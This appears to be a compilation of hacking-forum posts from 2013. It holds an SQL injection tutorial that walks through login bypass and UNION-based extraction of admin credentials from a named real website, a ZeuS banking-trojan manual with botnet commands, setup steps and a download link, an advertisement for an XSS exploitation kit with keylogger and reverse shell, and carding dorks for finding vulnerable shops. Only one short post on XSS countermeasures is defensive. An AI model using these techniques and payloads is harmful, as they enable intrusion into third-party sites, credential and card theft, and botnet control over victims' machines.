First we need 2 find a site, start by opening google.
Now we type our dork: "defenition of dork" 'a search entry for a certain type of site/exploit .ect"
There is a large number of google dork for basic sql injection.
here is the best:

Code:

"inurl:admin.asp"
"inurl:login/admin.asp"
"inurl:admin/login.asp"
"inurl:adminlogin.asp"
"inurl:adminhome.asp"
"inurl:admin_login.asp"
"inurl:administratorlogin.asp"
"inurl:login/administrator.asp"
"inurl:administrator_login.asp"

Now what to do once we get to our site.
the site should look something like this :
ADMIN USERNAME :
PASSWORD :

so what we do here is in the username we always type "Admin"
and for our password we type our sql injection

here is a list of sql injections

Code:

' or '1'='1
' or 'x'='x
' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --
'or'1=1'

So your input should look like this

username:Admin
password:'or'1'='1
that will confuse the site and give you authorisation to enter as admin

If the site is vulnerable than you are in

PART 2
Finding Sites to Inject

Finding SQLI Vulnerable sits is extremely easy all you need to do is some googling. The first thing you need to do are find some dorks.
Download SQLI dorks list from here : http://zyan.me/UVkJP

PS:I didn't put them in the thread because i passed count limit...
Pick one of those dorks and add inurl: before it (If they do not already have it) and then copy and paste it into google. Pick one of the sites off google and go to it.
For example the url of the page you are on may look like this :

Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=10

To check that it is vulnerable all you have to do is add a '

So our link should look like that :

Quote:http://www.leadacidbatteryinfo.org/newsd...php?id=10'

Press enter and you get some kind of error. The errors will vary...

Our page should look like that :

Spoiler

After you find your vulnerable site the first step you need to take is to find the number of columns. The easiest way to do this is writing "order by " column number and we add "--" after the number.
Our link should look like that :

Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=10 order by 15--

If you get an error that means you should lower the number of columns .
Let's try 10.

Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=10 order by 10--

The page opened normally that means the number of columns is between 10 and 14.
We try now 11.

Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=10 order by 11--

The page opened normally too...
Let's try 12.

Quote:http://www.leadacidbatteryinfo.org/newsdetail.php?id=10 order by 12--

We got error . That means the columns number is 11 because we got error on 12 and 11 opened normally .

Finding Accessible Columns
Now that we have the number of columns we need to get the column numbers that we can grab information from.
We can do that by adding a "-" before the "10" replacing the " order by # " with "union all select " and columns number
Our link should look like that :

Quote:http://www.leadacidbatteryinfo.org/newsd...php?id=-10 union all select 1,2,3,4,5,6,7,8,9,10,11--

We should get numbers .

Our page should look like that :]

Spoiler

For the end part of the url, (1,2,3,4,5,6,7,8,9,10,11) You put the number of columns you found in the first step. Since I found that the site I was testing had 11 columns, I put 1,2,3,4,5,6,7,8,9,10,11--
These numbers are the colum numbers we can get information from. We will replace them later with something else so write them down if you want.

Getting Database Version
We found that column 8 , 3 , 4 and 5 are vulnerable so we will use them to get the database version .
Why Do We Do That?
If database is under 5 that means we will have to guess the tables names
To do that we need to replace one of the vulnerable columns by "@@verion"
Let's take column 8.
Our link should look like that :

Quote:http://www.leadacidbatteryinfo.org/newsd...php?id=-10 union all select 1,2,3,4,5,6,7,@@version,9,10,11--

The page should look like that :]

Spoiler

Image has been scaled down 12% (907x681). Click this bar to view original image (1024x768). Click image to open in new window.

In our case we got "5.0.77" its >5 so we can continue.

Now we need to get the table name we want to access :
To do it we need to replace "@@version" with "table_name" and add after the last columns number "from information_schema.tables" and add the "--" in the end .
Link should be like that:

Quote:http://www.leadacidbatteryinfo.org/newsd...php?id=-10 union all select 1,2,3,4,5,6,7,table_name,9,10,11 from information_schema.tables--

Page should look like that :]

Spoiler

Now we will search the table we want to access .
We should fine something with admin on it and in our case it's tbladmin

Spoiler

Now we need to get the ASCII value of "tbladmin".
What is ASCII?
http://en.wikipedia.org/wiki/ASCII_value
Now to get the ASCII value of "tbladmin" go to that site : http://getyourwebsitehere.com/jswb/text_to_ascii.html

Spoiler

Now enter in first box the table name wich is "tbladmin" in our case and click convert to ASCII.
You will get as value that :

Code:

tbladmin

Now remove the characters as & # ; and we add a comma "," between each number .
It should be like that:

Code:

116,98,108,97,100,109,105,110

Spoiler

Now we replace in the URL the "table_name" to "column_name" and change "information_schema.tables" to "information_schema.columns and add "where table_name=char(ASCII value)--
in our case at place of (ASCII value) we put (116,98,108,97,100,109,105,110)--
Our URL should look like that :

Quote:http://www.leadacidbatteryinfo.org/newsd...php?id=-10 union all select 1,2,3,4,5,6,7,column_name,9,10,11 from information_schema.columns where table_name=char(116,98,108,97,100,109,105,110)--

Our page should be like that:

Spoiler

Now we search for the columns named "username" and "password" or something like that .
In our case it is "username" and "password".
Now we can delete most of the URL .
Remove everything after the 11 and add : "from tbladmin" And replace "column_name" with "concat(username,0x3a,password)
0x3a is the ASCII value of a : so we can separate the username from the password.
Our URL should look like that:

Quote:http://www.leadacidbatteryinfo.org/newsd...php?id=-10 union all select 1,2,3,4,5,6,7,concat(username,0x3a,password),9,10,11 from tbladmin

Our page should look like that :

Spoiler

And you're done the username is ishir and password ishir123
Some times password is encrypted with Hashes .
Use my HASH detector to know what it is and decrypt online.

And We're Done !

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Web Application Security - XSS Countermeasures

2013-08-27T12:27:00.001-07:00

Web Application Security

As a web application user, there are a few ways to protect yourselves from XSS attacks.
The first and the most effective solution is to disable all scripting language support in your browser and email reader.
Another recommendation is to use reasonable caution while clicking links in anonymous e-mails and dubious web pages.

Proxy servers can help filter out malicious scripting in HTML. If the application accepts only expected input, then the XSS can be significantly reduced. Web servers should set the character set, and then make sure that the data they insert is free from byte sequences that are special in the specified encoding. This can typically be done by settings in the application server or web server. The server should define the character set in each html page as below.
Web pages with unspecified character-encoding work mostly because most character sets assign the same characters to byte values below 128. Some 16-bit character-encoding schemes have additional multi-byte representations for special characters such as "<. These should be checked.
The above tells the browser what character set should be used to properly display the page. In addition, most servers must also be configured to tell the browser what character set to use when submitting form data back to the server and what character set the server application should use internally. The configuration of each server for character set control is different, but is very important in understanding the process of converting data that has more than one possible representation into a "standard" canonical representation of input data. Filtering special meta characters is also important. HTML defines certain characters as "special", if they have an effect on page formatting.
(HTML body)
"<" introduces a tag.
"&" introduces a character entity.
Some browsers try to correct poorly formatted HTML and treat ">" as if it were "<".
In attributes:
double quotes mark the end of the attribute value.
single quotes mark the end of the attribute value.
"&" introduces a character entity.
(URLs)
Space, tab, and new line denote the end of the URL.
"&" denotes a character entity or separates query string parameters.
Non-ASCII characters (that is, everything above 128 in the ISO-8859-1 encoding) are not allowed in URLs.
The "%" must be filtered from input anywhere parameters encoded with HTTP escape sequences are decoded by server-side code.
Ensuring correct encoding of dynamic output can prevent malicious scripts from being passed to the user. While this is no guarantee of prevention, it can help contain the problem in certain circumstances. The application can make an explicit decision to encode un-trusted data and leave trusted data untouched, thus preserving mark-up content.

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Zeus Web Panel

2013-08-27T12:23:00.002-07:00

ZEUS 1.2.7 AND WEB PANEL TUTORIAL

Zeus 1.2.7.11
Zeus 1.2.7.7 + FireFox
Webpanel 1.2.5.1
commands:

[HIDE=command]reboot Reboot computer.
kos Kill OS.
shutdown Shutdown computer.

bc_add [service] [ip] [port] Add backconnect for [service] using server witn address [ip]:[port].
bc_del [service] [ip] [port] Remove backconnect for [service] (mask is allowed) that use connection to [ip]:[port] (mask is allowed).
block_url [url] Disable access to [url] (mask is allowed).
unblock_url [url] Enable access to [url] (mask is allowed).
block_fake [url] Disable executing of HTTP-fake/inject with mask [url] (mask is allowed).
unblock_fake [url] Enable executing of HTTP-fake/inject with mask [url] (mask is allowed).
rexec [url] [args] Download and execute the file [url] with the arguments [args] (optional).
rexeci [url] [args] Download and execute the file [url] with the arguments [args] (optional) using interactive user.
lexec [file] [args] Execute the local file [file] with the arguments [args] (optional).
lexeci [file] [args] Execute the local file [file] with the arguments [args] (optional) using interactive user.
addsf [file_mask...] Add file masks [file_mask] for local search.
delsf [file_mask...] Remove file masks [file_mask] from local search.
getfile [path] Upload file or folder [path] to server.
getcerts Upload certificates from all stores to server.
resetgrab Upload to server the information from the protected storage, cookies, etc.
upcfg [url] Update configuration file from url [url] (optional, by default used standard url)
rename_bot [name] Rename bot to [name].
getmff Upload Macromedia Flash files to server.
delmff Remove Macromedia Flash files.
sethomepage [url] Set homepage ZeuS - software to steal personal user data from remote systems, Windows. On
plain language of "Troy", "backdoor", "virus". But the author does not like these words, therefore, further documentation
He will call this software "Bot".

Boat is fully based on the WinAPI Interception in UserMode (Ring3), this means that the bot does not use
no drivers or downloads in Ring0. This feature makes it possible to run even from Bota
Guest Account Windows. Plus, it ensures greater stability and adaptability
subsequent versions of Windows.
Bot is developed in Visual C + + version 9.0 +, with no additional libraries are used
Type msvcrt, ATL, MFC, QT, etc. Bot code is written with the following priorities (in descending order):
1. stability (carefully checked all the results of the call functions, etc.)
2. size (to avoid duplication of algorithms, repetitive calls, functions, etc.)
3. speed (not the type of instruction while (1 ){..}, for (int i = 0; i <strlen (str); i ++){..}).
Functions and features bot:
1. Sniffer traffic for the protocol TCP.
1.1. Interception of FTP logins on any port.
1.2. Interception of POP3 logins on any port.
1.3. The interception of any data from the traffic (a personal request).
2. Intercepting HTTP / HTTPS requests to wininet.dll, ie all programs working with this
library. This includes Internet Explorer (any version), Maxton, etc.
2.1. Substitution ..
3. The functions of the server.
3.1 Socks4/4a/5.
3.2 Bekkonekt for any services (RDP, Socks, FTP, etc.) on the infected machine. You can
access to a computer that is behind a NAT, or, for example, that
banned from the internet connection.
3.3 Getting a screenshot of your screen in real time.
- Do not add ---
=========================
= 2. Setting up the server. =
=========================
The server is the central point of control botnetom, he was assembling reports bots
and the impact of commands bots. It is not recommended to use the "Virtual Hosting" or "VDS", because
with an increase botneta, the load on the server will increase, and this type of hosting is quite
quickly exhausted their resources. You need a "Dedicated Server" (Dedik), the recommended minimum
configuration:
1. 2GB of RAM.
2. 2x CPU frequency 2Ggts,
3. SATA hard drive 7200rpm +
For bot requires HTTP-server is connected with PHP + Zend Optimizer, and the MySQL-server.
NOTE: For Windows-systems is very important to edit (create) the following registry value:
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ Tcpip \ Parameters \ MaxUserPort = dword: 65534
(decimal)
---------------------
- 2.1. HTTP-server. --
---------------------
As an HTTP-server is recommended to use: for nix-systems - Apache from version 2.2, for
Windows-systems - IIS from version 6.0. We recommend that you keep the HTTP-server on port 80 or 443 (this
positive effect on otstuk bot, as providers / proxy can block access to other
non-standard ports).

Download Apache: http://apache.org/dyn/closer.cgi
Site IIS: http://www.iis.net/
---------------------------
- 2.2. The interpreter PHP. --
---------------------------
The latest version of the control panel designed for PHP 5.2.6. It is highly recommended
use the version is not lower than this version. But in extreme cases of not less than 5.2.
It is important to make the following settings in php.ini:
safe_mode = Off
magic_quotes_gpc = Off
magic_quotes_runtime = Off
memory_limit = 256M; or higher.
post_max_size = 100M; or higher.
and recommended to change the following settings:
display_errors = Off
Also need to add Zend Optimizer (acceleration of the script, and run the protected
scripts). We recommend version 3.3.
We do not recommend PHP to the server via the HTTP-CGI.
Download PHP: http://www.php.net/downloads.php
Download Zend Optimizer: http://www.zend.com/...guard/downloads
----------------------
- 2.3. MySQL-server. --
----------------------
MySQL is required to store all data on botnete. The recommended version is not lower than 5.1.30, as well
worth considering that when the control panel in the older versions have some
problem. All table control panel, go to a MyISAM, it is important to optimize
speed of work with this format, on the basis of the available server resources.
We recommend the following changes to the MySQL-server setup (my or my.ini):
max_connections = 2000 # Or higher
Download MySQL: http://dev.mysql.com/downloads/
---------------------------
- 2.4. Control Panel. --
---------------------------
2.4.1. Setting.
*****************
Appointment of files and folders:
/ install - the installer.
/ system - the system files.
/ system / fsarc.php - a script to call an external archiver (section 2.4.3).
/ system / config.php - config file.
/ theme - the theme file (design), without Zend can freely change.
cp.php - log into the control panel.
gate.php - geyt for bots.
index.php - empty file to prevent listing of files.
The control panel is usually located in your folder in the distribution server [php]. All contents of this
folder, you need to upload to the server in any directory accessible by HTTP. If you download it through
FTP, all files you download in binary mode.
To nix-systems exhibit the right:
. - 777
/ system - 777
/ tmp - 777
For Windows-systems:
\ system - the right to full write, read only for users of the under which the access
via HTTP. For IIS this is usually IUSR_ *.
\ tmp - as well as for the \ system.
Once all files are downloaded, you need a web browser to run the installer on the URL http://server/papka/install/index.php. Follow the instructions appeared, in the case of
mistakes (you will be notified in detail) in the installation, check that all fields are correct,
and correct installation of the rights to the folder.
After installation, we recommend that you delete the directory install, and rename files cp.php (entrance to the
panel) and gate.php (geyt for bots) in any files you want (change the extension
not).
Now you can safely enter into the control panel by typing in the browser URL renamed
File cp.php.
2.4.2. Update.
******************
If you have a new copy of the control panel, and want to update an older version, the
should do the following:
1) Copy the files a new panel in place of old ones.
2) Rename files cp.php and gate.php under their real names of your choice during installation
the old control panel.
3) In any case, the right to re-set the directory in accordance with paragraph 2.4.
4) with a browser to run the installer for URL http://server/direkt...stall/index.php, and
appeared to follow the instructions. The process of the installer may take a fairly large
period of time, this is due to the fact that some tables may be re-records.
5) You can use the new control panel.
2.4.3. File / system / fsarc.php.
******************************
This file contains a function to call an external archiver. At this time, archive
used only in "Reports:: Search in files" (reports_files), and is called to load
Files and folders in a single archive. By default, set to archive Zip, and is
universal for Windows and nix, so all you have to do is to install the system this
archive, and to the right in its execution. You can also edit this file to work with
any archiver.
Download Zip: http://www.info-zip.org/Zip.html.
======================
= 3. Setting Bot. =
======================
===========================
= 4. Working with BackConnect =
===========================
Working with BackConnect regarded as an example.
IP BackConnect-server: 192.168.100.1
Port for the bot: 4500
Port for the client application: 1080
1) Run the server application (zsbcs.exe or zsbcs64.exe) on the server has an IP in
Internet application specifies the port, which is expected to connect from the bot, and the port to
which will connect the client application. For example zsbcs.exe listen-cp: 1080-bp: 4500,
where 1080 - the client port 4500 - port to the bot.
2) the need Bota sent a team bc_add service server_host server_port, where the service --
port number or name * service, which needs to connect to the Bota.
* currently only supported in the name of socks, which allows you to connect to the built-in
Socks-bot server.
server_host - a server that zapusheno server application. It can be used IPv4,
IPv6, or domain.
server_port - a port that is specified in the option cp server application. In this case, 4500.
Example: bc_add socks 192.168.100.1 4500 - as a result you get the socks,
bc_add 3389 192.168.100.1 4500 - as a result you get rdp.
3) Now you need to wait for bot to connect to the server, in this period, any attempt to client
applications to connect will be ignored (will disconnect the client). Badge
connect bot will be output to the console server line "Accepted new conection from bot ...".
4) After connecting the bot, you can work with their client. Ie you just
connect to the server to the client port (in this case 1080). For example, if you gave
team socks, a port on the client you will be expected to Socks-server, if port 3389, then
you connect to 192.168.100:1080 as a normal RDP.
5) After that, when you do not need BackConnect of the bot for a certain service, you must pay
click bc_del service server_host server_port, where all the parameters must be identical
parameters bc_add, which must be removed. You can also use the spec. characters
'*' And '?'.
For example: bc_del * * * - deletes all BackConnect'y This Bota.
bc_del * 192.168 .* * remove all BackConnect'y, connect to the server with IP 192.168 .*.
bc_del 3389 192.168.100.1 4500 - specifically removes one BackConnect.
NOTES:
1) You can specify any number of BackConnect'ov (ie bc_add), but they should not be shared
combination of IP + Port. But if there is such a combination, will be launched first added.
2) For each BackConnect'a, you must run a separate server application.
3) if the connection (drop server drop bot, etc.), bot will repeat the connection
to the server indefinitely (even after rebooting the PC), until BackConnect will not be removed
(ie bc_del).
4) As a service to bc_add, you can use any open port at the address 127.0.0.1.
5) The server application supports IPv6, but in principle at the present time, this support is not particularly
relevant.
6) You can launch the server application under wine. Writing the same elf application is currently not
planned.
7) It is recommended to use the option bp popular application server ports (80, 8080,
443, etc.), because other ports may be blocked by the provider which the bot.
should not be allowed to connect to different bots on the same server port at the same time.
9) The method of such a connection might be useful for bots, which are outside the NAT, because sometimes
Windows firewall or ISP may be blocked from the Internet connection.
NOTE: This feature is not available in all builds Bot.
======================
= 5. History. =
======================
Conditional tags:[*] - To change.
[-] - A correction.
[+] - Add.
[Version 1.2.0.0, 20.12.2008]
Overall:[*] No longer will the documentation in chm-file, everything will be written to this file.
[+] Now the boat is able to receive commands not only with the sending status, but when sending
files / logs.
[+] Local data requests to the server and the configuration file is encrypted with the RC4 key to
Your choice.[*] Fully updated protocol bot <-> server. Perhaps the diminished load on the server.
Boat:
[-] Fixed the bug that blocking bots on limited screen Windows.[*] Written a new PE-kriptor now PE-file is very accurate and the most
simulates the results of the MS Linker 9.0.[*] Updated build process to bildere Bot.[*] Optimized compression of the configuration file.[*] The new format is a binary configuration file.[*] Rewritten the process of assembling the binary config file.[*] Socks and LC are now working on a port.
Control Panel:[*] The status of the control panel, transferred to the BETA.[*] Changed all tables MySQL.[*] Nachet a gradual transfer of the Control Panel on the UTF-8 (may be temporary problems with
displaying characters).[*] Updated geobaza.
[Version 1.2.1.0, 30.12.2008]
Boat:[*] BOFA Answers are now sent as BLT_GRABBED_HTTP (was BLT_HTTPS_REQUEST).
[-] Small error when sending reports.
[-] The size of the report could not exceed ~ 550 characters.
[-] Error exists since the beginning of the bot: a low timeout for sending POST-requests
resulting in a blocked sending long (more than ~ 1 Mb) Report on slow
compounds (not stable), as the theoretical implications - bot altogether stopped sending
Records.
Overall:
[+] In the case record and record type BLT_HTTP_REQUEST BLT_HTTPS_REQUEST field SBCID_PATH_SOURCE
(in the table will path_source) added path URL.
Control Panel:[*] Updated redir.php.
[Version 1.2.2.0, 11.03.2009]
Boat:
[-] Fixed bug in HTTP-inzhektah exists for all versions of bot. When
use in the asynchronous mode wininet.dll, was lost time
synchronize flows generated wininet.dll, with the result that, under certain conditions
been an exception.
[+] By an HTTP-inzhekta now also change the files in the local cache.
The absence of this refinement can not always activate HTTP-inzhektam.
[+] Reduce the size of PE-file.
[Version 1.2.3.0, 28.03.2009]
Boat:
[-] Minor bug in kriptore, thanks to the valiant govnoanalitikam from Avira.
Overall:[*] Changed the protocol distribution teams bots.
Control Panel:[*] Completely rewritten Control Panel.[*] Design rewritten to XHTML 1.0 Strict (for IE does not work).[*] Boat is now again able to receive commands only when sending a report on the online status
(too high load).[*] Updated geobaza.
[Version 1.2.4.0, 02.04.2009]
Boat:
[+] When using HTTP, the header User-Agent is now read by Internet Explorer, rather than
is a constant as before. Theoretically, because of the constant User-Agent'a, queries
providers may be blocked or fall under suspicion.
Control Panel:
[-] Fixed a bug displaying records containing characters 0-31 and 127-159.
=============
= 6. F.A.Q. =
=============
Q: What's the version numbers mean?
A: a.b.c.d
a - a complete change in your bot.
b - the major changes that cause complete or partial incompatibility with previous
versions.
c - correct errors, refine, add features.
d - the number of cleaning for the current version of antivirus abc
Q: How does the generated Bot ID?
A: Bot ID consists of two parts:% name% _% number%, where the name - the name of the computer (the result of
GetComputerName), a number - a certain number that is generated on the basis of some unique operating system data.
Q: Why is the traffic is encrypted using symmetric encryption (RC4), but not asymmetric (RSA)?
A: Because the use of complex algorithms does not make sense, you need to encrypt only to hide
traffic. Plus RSA only in terms of not knowing the key is in the Control Panel will not
ability to emulate her answers. And what meaning is to defend this (globally
view)?
Q: I damaged tables / files panel, what should I do?
A: Play the instructions specified in paragraph 2.5.
===========
7. Myths =
===========
M: ZeuS uses a DLL to work.
A: False. There is only one executable PE file (exe). Dll, sys, etc. not when there was no
vryatli will ever be. This myth has gone due to the fact that in some version for bot
storage configuration used for files with such extensions.
M: ZeuS uses COM (BHO) for the interception of Internet Explorer.
A: False. Always use this for intercepting WinAPI of wininet.dll.
================================================== ===== [/HIDE]
Download : http://ul.to/0cfwol

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Xenotix XSS

2013-08-27T12:23:00.001-07:00

Xenotix XSS E-x-p-l-o-i-t Framework 2013 v2

Xenotix XSS Exploit Framework is a penetration testing tool to detect and exploit XSS vulnerabilities in Web Applications. This tool can inject codes into a webpage which are vulnerable to XSS. It is basically a payload list based XSS Scanner
and XSS Exploitation kit. It provides a penetration tester the ability to test all the XSS payloads available in the payload list against a web application to test for XSS vulnerabilities. The tool supports both manual mode and automated time sharing based test modes. The exploitation framework in the tool includes a XSS encoder, a victim side XSS keystroke logger, an Executable Drive-by downloader and a XSS Reverse Shell. These exploitation tools will help the penetration tester to create proof of concept attacks on vulnerable web applications during the creation of a penetration test report.

Features:

Built in XSS Payloads
XSS Key logger
XSS Executable Drive-by downloader
Automatic XSS Testing
XSS Encoder
XSS Reverse Shell (new)

Download here

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CC Dork

2013-08-27T11:58:00.002-07:00

NEW CC SHOP DORKS

InI Dork Untuk Carding
inurl:".php?cat="+intext:"Paypal"+site:UK
inurl:".php?cat="+intext:"/Buy Now/"+site:.net
inurl:".php?cid="+intext:"online+betting"

inurl:".php?id=" intext:"View cart"
inurl:".php?id=" intext:"Buy Now"
inurl:".php?id=" intext:"add to cart"
inurl:".php?id=" intext:"shopping"
inurl:".php?id=" intext:"boutique"
inurl:".php?id=" intext:"/store/"
inurl:".php?id=" intext:"/shop/"
inurl:".php?id=" intext:"toys"

inurl:".php?cid="
inurl:".php?cid=" intext:"shopping"
inurl:".php?cid=" intext:"add to cart"
inurl:".php?cid=" intext:"Buy Now"
inurl:".php?cid=" intext:"View cart"
inurl:".php?cid=" intext:"boutique"
inurl:".php?cid=" intext:"/store/"
inurl:".php?cid=" intext:"/shop/"
inurl:".php?cid=" intext:"Toys"

inurl:".php?cat="
inurl:".php?cat=" intext:"shopping"
inurl:".php?cat=" intext:"add to cart"
inurl:".php?cat=" intext:"Buy Now"
inurl:".php?cat=" intext:"View cart"
inurl:".php?cat=" intext:"boutique"
inurl:".php?cat=" intext:"/store/"
inurl:".php?cat=" intext:"/shop/"
inurl:".php?cat=" intext:"Toys"

inurl:".php?catid="
inurl:".php?catid=" intext:"View cart"
inurl:".php?catid=" intext:"Buy Now"
inurl:".php?catid=" intext:"add to cart"
inurl:".php?catid=" intext:"shopping"
inurl:".php?catid=" intext:"boutique"
inurl:".php?catid=" intext:"/store/"
inurl:".php?catid=" intext:"/shop/"
inurl:".php?catid=" intext:"Toys"

Enjoy!!!

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